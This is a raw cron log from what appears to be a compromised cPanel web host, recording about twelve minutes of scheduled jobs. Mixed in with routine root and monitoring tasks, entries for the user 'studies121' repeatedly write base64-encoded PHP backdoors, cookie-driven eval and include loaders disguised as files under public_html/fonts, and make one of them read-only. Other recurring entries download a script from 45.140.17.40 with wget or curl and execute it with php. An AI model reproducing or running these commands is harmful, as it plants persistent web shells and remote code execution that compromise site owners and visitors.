Sep 10 06:58:01 ip-184-168-122-23 CROND[22016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:58:01 ip-184-168-122-23 CROND[22015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:58:01 ip-184-168-122-23 CROND[22014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:58:01 ip-184-168-122-23 CROND[22017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:59:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:59:01 ip-184-168-122-23 CROND[22137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:59:01 ip-184-168-122-23 CROND[22138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:59:01 ip-184-168-122-23 CROND[22140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:00:01 ip-184-168-122-23 CROND[22242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:00:01 ip-184-168-122-23 CROND[22238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:00:01 ip-184-168-122-23 CROND[22245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:01:01 ip-184-168-122-23 CROND[22383]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 07:01:01 ip-184-168-122-23 CROND[22384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:01:01 ip-184-168-122-23 CROND[22386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:01:01 ip-184-168-122-23 CROND[22389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:01:01 ip-184-168-122-23 CROND[22387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:01:01 ip-184-168-122-23 CROND[22385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22383]: starting 0anacron
Sep 10 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22405]: finished 0anacron
Sep 10 07:02:01 ip-184-168-122-23 CROND[22601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:02:01 ip-184-168-122-23 CROND[22603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:02:01 ip-184-168-122-23 CROND[22604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:02:01 ip-184-168-122-23 CROND[22609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:02:01 ip-184-168-122-23 CROND[22607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:03:02 ip-184-168-122-23 CROND[22726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:03:02 ip-184-168-122-23 CROND[22729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:03:02 ip-184-168-122-23 CROND[22730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:03:02 ip-184-168-122-23 CROND[22728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:04:01 ip-184-168-122-23 CROND[23074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:04:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:04:01 ip-184-168-122-23 CROND[23076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:04:01 ip-184-168-122-23 CROND[23077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:04:01 ip-184-168-122-23 CROND[23078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:05:01 ip-184-168-122-23 CROND[23231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:05:01 ip-184-168-122-23 CROND[23232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:05:01 ip-184-168-122-23 CROND[23234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:05:01 ip-184-168-122-23 CROND[23237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:05:01 ip-184-168-122-23 CROND[23238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:05:01 ip-184-168-122-23 CROND[23241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:05:01 ip-184-168-122-23 CROND[23239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:06:01 ip-184-168-122-23 CROND[23400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:06:01 ip-184-168-122-23 CROND[23401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:06:01 ip-184-168-122-23 CROND[23405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:06:01 ip-184-168-122-23 CROND[23406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:06:01 ip-184-168-122-23 CROND[23407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:07:01 ip-184-168-122-23 CROND[23611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:07:01 ip-184-168-122-23 CROND[23615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:07:01 ip-184-168-122-23 CROND[23614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:07:02 ip-184-168-122-23 CROND[23617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:08:01 ip-184-168-122-23 CROND[23735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:08:01 ip-184-168-122-23 CROND[23737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:08:01 ip-184-168-122-23 CROND[23739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:08:01 ip-184-168-122-23 CROND[23741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:08:01 ip-184-168-122-23 CROND[23742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:09:01 ip-184-168-122-23 CROND[23856]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 07:09:01 ip-184-168-122-23 CROND[23858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:09:01 ip-184-168-122-23 CROND[23857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:09:01 ip-184-168-122-23 CROND[23859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:09:01 ip-184-168-122-23 CROND[23860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:10:01 ip-184-168-122-23 CROND[23986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:10:01 ip-184-168-122-23 CROND[23993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:10:01 ip-184-168-122-23 CROND[23991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
